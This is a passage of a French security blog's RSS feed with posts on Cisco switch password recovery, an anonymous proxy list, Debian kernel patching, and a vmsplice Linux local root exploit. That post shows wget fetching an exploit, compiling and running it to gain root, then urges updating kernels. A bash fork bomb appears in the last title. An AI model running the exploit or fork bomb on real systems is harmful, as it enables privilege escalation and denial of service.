<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">load_helper</div></td></tr></tbody></table></div>
<p>6. Et:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">dir flash:</div></td></tr></tbody></table></div>
<p>7. Ici, on déplace le fichier config qui contient l&#8217;ancien mot de passe vers un fichier backup</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">rename flash:config.text flash:config.text.bak</div></td></tr></tbody></table></div>
<p>8. Redémarrage du switch..</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">boot</div></td></tr></tbody></table></div>
<p>9. Répondez &laquo;&nbsp;no&nbsp;&raquo; à la 1ère question qui vous est posée.</p>
<p>10. On a donc a nouveau la main sur le terminal. Passez en mode enable:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">en</div></td></tr></tbody></table></div>
<p>11. On remet en place le ficher de config initial.</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">rename flash:config.text.bak flash:config.text</div></td></tr></tbody></table></div>
<p>12. Et on charge le tout en mémoire:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">copy flash:config.text system:running-config</div></td></tr></tbody></table></div>
<p><em>12b. Si votre mot de passe n&#8217;est pas crypté, c&#8217;est maintenant que vous pouvez le lire en faisant &laquo;&nbsp;sh ru&nbsp;&raquo;, sinon il va falloir continuer&#8230;</em></p>
<p>13. On change le mot de passe:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">conf t &nbsp;# mode configuration<br />
no enable secret # désactiver le mot de passe avant de le changer..<br />
enable password &lt;nouveaumotdepasse&gt;<br />
exit<br />
wr # écrire le tout sur la rom</div></td></tr></tbody></table></div>
<p>14. Redémarrez le tout.. c&#8217;est gagné ! Il ne vous reste plus qu&#8217;a nettoyer toute la poussière.. </p>
]]>
</content:encoded>
<wfw:commentRss>http://www.crashdump.fr/securite/recuperer-le-mot-de-passe-dun-cisco-catalyst-2950-80/feed/</wfw:commentRss>
<slash:comments>1</slash:comments>
</item>
<item>
<title>Liste de plus de 10000 serveurs proxy anonymes</title>
<link>http://www.crashdump.fr/securite/liste-de-10000-serveurs-proxy-anonymes-105/</link>
<comments>http://www.crashdump.fr/securite/liste-de-10000-serveurs-proxy-anonymes-105/#comments</comments>
<pubDate>Sun, 30 Mar 2008 21:53:07 +0000</pubDate>
<dc:creator>Crashdump</dc:creator>
<category>
<![CDATA[Sécurité]]>
</category>
<category>
<![CDATA[anonymat]]>
</category>
<category>
<![CDATA[liste]]>
</category>
<category>
<![CDATA[proxy]]>
</category>
<category>
<![CDATA[proxy anonymes]]>
</category>
<category>
<![CDATA[proxy elite]]>
</category>
<category>
<![CDATA[serveurs mandataire]]>
</category>
<guid isPermaLink="false">http://blog.crashdump.fr/index.php/2008/03/30/liste-de-10000-serveurs-proxy-anonymes/</guid>
<description>
<![CDATA[J&#8217;ai le plaisir de vous annoncer l&#8217;arrivée d&#8217;un nouveau service que je met a votre disposition. C&#8217;est une liste de proxy anonymes, mise a jours régulièrement (~2 semaines). Elle contient environs 10000 serveurs pour le moment, elle grossira par la suite ! Sans plus attendre vous la trouverez ici: http://proxy.crashdump.fr A quoi peut vous servir [...]]]>
</description>
<content:encoded>
<![CDATA[<p>J&#8217;ai le plaisir de vous annoncer l&#8217;arrivée d&#8217;un nouveau service que je met a votre disposition. C&#8217;est une liste de proxy anonymes, mise a jours régulièrement (~2 semaines). Elle contient environs 10000 serveurs pour le moment, elle grossira par la suite !</p>
<p>Sans plus attendre vous la trouverez ici: http://proxy.crashdump.fr</p>
<h2>
<li>A quoi peut vous servir cette liste de proxy anonymes ?</li>
</h2>
<p>Lorsque vous vous connectez à internet, votre fournisseur d’accès vous fourni une adresse IP. Lorsque vous tentez de rentrer en contact avec un serveur sur Internet pour par exemple visiter un site, une trace de connexion (Votre IP) est conservée sur l’ordinateur visité: dans les log. Ainsi, il est possible d’établir qui est l’auteur des différentes visites du site en question. Il existe des serveurs proxy, qui servent d&#8217;intermédiaires entre son ordinateur et le serveur de destination. Appelons &laquo;&nbsp;M&nbsp;&raquo; ce serveur mandataire. Une personne pourra se connecter via “M” et lorsqu’il laissera des traces dans les logs des serveurs et sites qu’il visitera durant cette même session de surf, ce sera l’adresse IP de “M” qui sera inscrite dans lesdits logs.</p>
]]>
</content:encoded>
<wfw:commentRss>http://www.crashdump.fr/securite/liste-de-10000-serveurs-proxy-anonymes-105/feed/</wfw:commentRss>
<slash:comments>2</slash:comments>
</item>
<item>
<title>Supprimer un &#171;&#160;host reject&#160;&#187; sur route ?</title>
<link>http://www.crashdump.fr/debian/supprimer-un-host-reject-sur-route-84/</link>
<comments>http://www.crashdump.fr/debian/supprimer-un-host-reject-sur-route-84/#comments</comments>
<pubDate>Wed, 27 Feb 2008 17:13:38 +0000</pubDate>
<dc:creator>Crashdump</dc:creator>
<category>
<![CDATA[Debian]]>
</category>
<category>
<![CDATA[Réseaux]]>
</category>
<category>
<![CDATA[Sécurité]]>
</category>
<category>
<![CDATA[host reject]]>
</category>
<category>
<![CDATA[Manitoba]]>
</category>
<category>
<![CDATA[routage]]>
</category>
<category>
<![CDATA[route]]>
</category>
<category>
<![CDATA[supprimer]]>
</category>
<guid isPermaLink="false">http://blog.crashdump.fr/index.php/2008/02/27/supprimer-un-host-reject-sur-route/</guid>
<description>
<![CDATA[Si, comme moi vous avez ajouté un host deny sur route (!H) : 1#/sbin/route add -host aa.bb.cc.dd reject Et que vous êtes dans l&#8217;impossibilité de la supprimer, voila la solution: 1route del -host aa.bb.cc.dd reject ..et dire que c&#8217;est même pas écris dans les man pages.. Voila qui m&#8217;a donné envie d&#8217;écrire un tutoriel sur [...]]]>
</description>
<content:encoded>
<![CDATA[<p>Si, comme moi vous avez ajouté un host deny sur route (!H) :</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">#/sbin/route add -host aa.bb.cc.dd reject</div></td></tr></tbody></table></div>
<p>Et que vous êtes dans l&#8217;impossibilité de la supprimer, voila la solution:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">route del -host aa.bb.cc.dd reject</div></td></tr></tbody></table></div>
<p>..et dire que c&#8217;est même pas écris dans les man pages.. Voila qui m&#8217;a donné envie d&#8217;écrire un tutoriel sur route ! a bientôt ;)</p>
]]>
</content:encoded>
<wfw:commentRss>http://www.crashdump.fr/debian/supprimer-un-host-reject-sur-route-84/feed/</wfw:commentRss>
<slash:comments>0</slash:comments>
</item>
<item>
<title>Cold Boot Attack on Encryption Keys</title>
<link>http://www.crashdump.fr/securite/cold-boot-attack-on-encryption-keys-87/</link>
<comments>http://www.crashdump.fr/securite/cold-boot-attack-on-encryption-keys-87/#comments</comments>
<pubDate>Wed, 27 Feb 2008 08:22:29 +0000</pubDate>
<dc:creator>Crashdump</dc:creator>
<category>
<![CDATA[Sécurité]]>
</category>
<category>
<![CDATA[attaque]]>
</category>
<category>
<![CDATA[Encryption]]>
</category>
<category>
<![CDATA[exploit]]>
</category>
<category>
<![CDATA[froid]]>
</category>
<category>
<![CDATA[mémoire]]>
</category>
<guid isPermaLink="false">http://blog.crashdump.fr/index.php/2008/02/27/cold-boot-attack-on-encryption-keys/</guid>
<description>
<![CDATA[Vu sur: http://citp.princeton.edu/memory/]]>
</description>
<content:encoded>
<![CDATA[<p><object width="425" height="350" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://www.youtube.com/v/JDaicPIgn9U" /><embed width="425" height="350" type="application/x-shockwave-flash" src="http://www.youtube.com/v/JDaicPIgn9U" /></object><br />
Vu sur: <a rel="nofollow" href="http://web.archive.org/web/20110429202434/http://citp.princeton.edu/memory/">http://citp.princeton.edu/memory/</a></p>
]]>
</content:encoded>
<wfw:commentRss>http://www.crashdump.fr/securite/cold-boot-attack-on-encryption-keys-87/feed/</wfw:commentRss>
<slash:comments>0</slash:comments>
</item>
<item>
<title>Mettre a jour une Debian Dedibox: Exploit root vmsplice</title>
<link>http://www.crashdump.fr/debian/mettre-a-jour-le-kernel-dun-debian-dedibox-exploit-root-vmsplice-69/</link>
<comments>http://www.crashdump.fr/debian/mettre-a-jour-le-kernel-dun-debian-dedibox-exploit-root-vmsplice-69/#comments</comments>
<pubDate>Thu, 14 Feb 2008 08:02:56 +0000</pubDate>
<dc:creator>Crashdump</dc:creator>
<category>
<![CDATA[Debian]]>
</category>
<category>
<![CDATA[Sécurité]]>
</category>
<category>
<![CDATA[dedibox]]>
</category>
<category>
<![CDATA[faille]]>
</category>
<category>
<![CDATA[ftp://ftp.dedibox.fr/pub/dedibox/fix/fix-grub-root.sh]]>
</category>
<category>
<![CDATA[ftp://ftp.dedibox.fr/pub/dedibox/kernel/r8-1/C7-X86-32bits/kernel-image-2.6.24.2-c7-r8-1.deb]]>
</category>
<category>
<![CDATA[kernel]]>
</category>
<category>
<![CDATA[mise a jour]]>
</category>
<category>
<![CDATA[noyau]]>
</category>
<category>
<![CDATA[patch grub]]>
</category>
<category>
<![CDATA[update]]>
</category>
<category>
<![CDATA[upgrade]]>
</category>
<category>
<![CDATA[vmsplice]]>
</category>
<guid isPermaLink="false">http://www.crashdump.fr/blog/index.php/2008/02/14/mettre-a-jour-le-kernel-dun-debian-dedibox-exploit-root-vmsplice/</guid>
<description>
<![CDATA[http://www.securiteam.com/unixfocus/5JP0C0UNFU.html Un tutoriel de mise a jour du kernel par dedibox: http://documentation.dedibox.fr/doku.php?id=distrib:kernel&#038;s=noyau La faille a été corrigé par les équipes de sécurité de la plupart des distributions. Aussi peut être pensez vous comme moi qu’un simple (pour debian) 12# apt-get update # apt-get upgrade Pourrais vous mettre à l&#8217;abri… Malheureusement chez dédibox il est optimisé [...]]]>
</description>
<content:encoded>
<![CDATA[<p><a rel="nofollow" href="http://www.securiteam.com/unixfocus/5JP0C0UNFU.html">http://www.securiteam.com/unixfocus/5JP0C0UNFU.html</a></p>
<p>Un tutoriel de mise a jour du kernel par dedibox: <a rel="nofollow" href="http://documentation.dedibox.fr/doku.php?id=distrib:kernel&#038;s=noyau">http://documentation.dedibox.fr/doku.php?id=distrib:kernel&#038;s=noyau</a></p>
<p>La faille a été corrigé par les équipes de sécurité de la plupart des distributions.<br />
Aussi peut être pensez vous comme moi qu’un simple (pour debian)</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># apt-get update<br />
# apt-get upgrade</div></td></tr></tbody></table></div>
<p>Pourrais vous mettre à l&#8217;abri… Malheureusement chez dédibox il est optimisé pour C7, donc spécifique. Pas de panique ça reste assez simple a corriger quand même.</p>
<ul>La manipulation pour corriger la faille est décrite ici:</ul>
<p>Je l’ai testé sur une testing:<br />
<span id="more-69"></span><br />
Si vous avez installé votre dédibox avant le 28 Mai 2006 (ou si vous possedez une version raid), cette partie ne vous concerne pas !<br />
Sinon, distributions Ubuntu-Server, Ubuntu Dedibox et Debian Sarge comportent un bug dans le comportement de grub-install. On va donc patcher grub.</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># wget --passive ftp://ftp.dedibox.fr/pub/dedibox/fix/fix-grub-root.sh &amp;&amp; chmod +x fix-grub-root.sh</div></td></tr></tbody></table></div>
<p>On cherche sur quelle partition est “/” (pour savoir sur quel disque on boot):</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">mount | grep &quot;/ &quot;</div></td></tr></tbody></table></div>
<p>Ce qui devrait vous retourner quelque chose du genre:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">/dev/sda1 on / type ext3 (rw,errors=remount-ro)</div></td></tr></tbody></table></div>
<p>C’est ce sda1 qui nous intéresse.. c&#8217;est le disque sur lequel boot votre machine !</p>
<p>On va donc lancer le script téléchargé précédemment, avec comme paramètre sda1 (dans notre cas, sinon remplacez par la bonne valeur):</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># ./fix-grub-root.sh sda1</div></td></tr></tbody></table></div>
<p>Le script va modifier le fichier: /boot/grub/menu.lst pour y entrer les bonnes valeurs. Si un problème survient par la suite, le script créé une sauvegarde de ce fichier ici: /boot/grub/menu.lst.bak</p>
<ul>Mise a jour du Kernel</ul>
<p>On le télécharge:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># wget --passive ftp://ftp.dedibox.fr/pub/dedibox/kernel/r8-1/C7-X86-32bits/kernel-image-2.6.24.2-c7-r8-1.deb</div></td></tr></tbody></table></div>
<p>Puis on l’installe :</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># dpkg -i kernel-image-2.6.24.2-c7-r8-1.deb</div></td></tr></tbody></table></div>
<p>On met a jour grub:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># update-grub<br />
Searching for GRUB installation directory ... found: /boot/grub<br />
Searching for default file ... found: /boot/grub/default<br />
Testing for an existing GRUB menu.lst file ... found: /boot/grub/menu.lst<br />
Searching for splash image ... none found, skipping ...<br />
&lt;strong&gt;Found kernel: /vmlinuz-2.6.24.2&lt;/strong&gt;<br />
Found kernel: /vmlinuz-2.6.23.13dedibox-r8<br />
Updating /boot/grub/menu.lst ... done</div></td></tr></tbody></table></div>
<p>Tout va bien il a trouvé notre noyau.. donc on reboot:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># reboot</div></td></tr></tbody></table></div>
<p>Prennez un café&#8230; puis on vérifie:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># uname -r<br />
2.6.24.2dedibox-r8</div></td></tr></tbody></table></div>
<ul>Ipv6 Activé ?</ul>
<p>Il faut impérativement penser que l&#8217;IPV6 est activé et qu&#8217;il faut mettre les règles adoc pour filtrer un minimum.<br />
Personnellement, j e n&#8217;utilise pas &laquo;&nbsp;encore&nbsp;&raquo; ipv6 donc j&#8217;ai entré ces règles dans mon script iptables/ip6tables :</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">ip6tables -P INPUT DROP<br />
ip6tables -P OUTPUT DROP<br />
ip6tables -P FORWARD DROP<br />
echo &quot; Flushing rules (ip6)&quot;<br />
ip6tables --flush<br />
ip6tables --flush INPUT<br />
ip6tables --flush OUTPUT<br />
ip6tables --flush FORWARD<br />
ip6tables --flush -t mangle<br />
ip6tables --flush -t nat<br />
ip6tables --delete-chain</div></td></tr></tbody></table></div>
<p>C&#8217;est bon, je peut donc aller me recoucher, en paix. ;)</p>
]]>
</content:encoded>
<wfw:commentRss>http://www.crashdump.fr/debian/mettre-a-jour-le-kernel-dun-debian-dedibox-exploit-root-vmsplice-69/feed/</wfw:commentRss>
<slash:comments>0</slash:comments>
</item>
<item>
<title>Vmsplice root exploit</title>
<link>http://www.crashdump.fr/securite/vmsplice-root-exploit-70/</link>
<comments>http://www.crashdump.fr/securite/vmsplice-root-exploit-70/#comments</comments>
<pubDate>Tue, 12 Feb 2008 08:40:28 +0000</pubDate>
<dc:creator>Crashdump</dc:creator>
<category>
<![CDATA[Sécurité]]>
</category>
<category>
<![CDATA[bug]]>
</category>
<category>
<![CDATA[By]]>
</category>
<category>
<![CDATA[exploit]]>
</category>
<category>
<![CDATA[faille]]>
</category>
<category>
<![CDATA[root]]>
</category>
<category>
<![CDATA[vmsplice]]>
</category>
<guid isPermaLink="false">http://blog.crashdump.fr/index.php/2008/02/12/vmsplice-root-exploit/</guid>
<description>
<![CDATA[Depuis peu, une faille a été découverte dans l&#8217;appel du système vmsplice(), les noyaux Linux 2.6.17 à 2.6.24.1 sont touchés. Elle est plutôt critique puisqu&#8217;un simple utilisateur peut devenir root en l&#8217;exploitant. 12$ uname -smr Linux 2.6.23.16.. i686 Voici un exemple d&#8217;utilisation : 123456789101112131415161718192021$ cd /tmp $ wget http://www.crashdump.fr/~polux/rootexploit/rootexploit.c $ gcc -o rootexploit rootexploit.c $ [...]]]>
</description>
<content:encoded>
<![CDATA[<p>Depuis peu, une faille a été découverte dans l&#8217;appel du système vmsplice(), les noyaux Linux 2.6.17 à 2.6.24.1 sont touchés. Elle est plutôt critique puisqu&#8217;un simple utilisateur peut devenir root en l&#8217;exploitant.</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ uname -smr<br />
Linux 2.6.23.16.. i686</div></td></tr></tbody></table></div>
<p>Voici un exemple d&#8217;utilisation :</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:450px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ cd /tmp<br />
$ wget http://www.crashdump.fr/~polux/rootexploit/rootexploit.c<br />
$ gcc -o rootexploit rootexploit.c<br />
$ ./rootexploit<br />
-----------------------------------<br />
Linux vmsplice Local Root Exploit<br />
By qaaz<br />
-----------------------------------<br />
[+] mmap: 0x0 .. 0x1000<br />
[+] page: 0x0<br />
[+] page: 0x20<br />
[+] mmap: 0x4000 .. 0x5000<br />
[+] page: 0x4000<br />
[+] page: 0x4020<br />
[+] mmap: 0x1000 .. 0x2000<br />
[+] page: 0x1000<br />
[+] mmap: 0xb7dee000 .. 0xb7e20000<br />
[+] root<br />
Exploit gone!<br />
# id -u<br />
0</div></td></tr></tbody></table></div>
<p><span id="more-70"></span><br />
&#8230; voila qui est plutôt grave, mettez donc a jour vos kernel:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ uname -smr<br />
Linux 2.6.24.2.. i686</div></td></tr></tbody></table></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ ./rootexploit<br />
-----------------------------------<br />
&nbsp;Linux vmsplice Local Root Exploit<br />
-----------------------------------<br />
[+] mmap: 0x0 .. 0x1000<br />
[+] page: 0x0<br />
[+] page: 0x20<br />
[+] mmap: 0x4000 .. 0x5000<br />
[+] page: 0x4000<br />
[+] page: 0x4020<br />
[+] mmap: 0x1000 .. 0x2000<br />
[+] page: 0x1000<br />
[+] mmap: 0xb7dfc000 .. 0xb7e2e000<br />
[-] vmsplice: Bad address<br />
$ id -u<br />
1000</div></td></tr></tbody></table></div>
<p>De plus, on pourrais imaginer une utilisation de cet exploit via des scripts cgi, php,.. Mal programmé &#8211; En exploitant une faille include &#8211; Et la je vous laisse imaginer le drame ! </p>
<p>Un petit conseil donc: Mettez votre système à jour régulièrement !</p>
]]>
</content:encoded>
<wfw:commentRss>http://www.crashdump.fr/securite/vmsplice-root-exploit-70/feed/</wfw:commentRss>
<slash:comments>0</slash:comments>
</item>
<item>
<title>:(){ :&#124;:&amp; };: ? Vous avez dit Forkbomb ?</title>
<link>http://www.crashdump.fr/debian/vous-avez-dit-forkbomb-79/</link>
<comments>http://www.crashdump.fr/debian/vous-avez-dit-forkbomb-79/#comments</comments>
<pubDate>Fri, 24 Aug 2007 21:01:25 +0000</pubDate>
<dc:creator>Crashdump</dc:creator>
<category>
<![CDATA[Debian]]>
</category>
<category>
<![CDATA[Sécurité]]>
</category>
<category>
<![CDATA[Bash]]>
</category>
<category>
<![CDATA[bomb]]>
</category>
<category>
<![CDATA[c]]>
</category>
<category>
<![CDATA[fork]]>
</category>
<category>
<![CDATA[fork bomb]]>
</category>
<category>
<![CDATA[perl]]>
</category>
<category>
<![CDATA[processus]]>
</category>
<guid isPermaLink="false">http://blog.crashdump.fr/index.php/2008/02/24/vous-avez-dit-forkbomb/</guid>
<description>
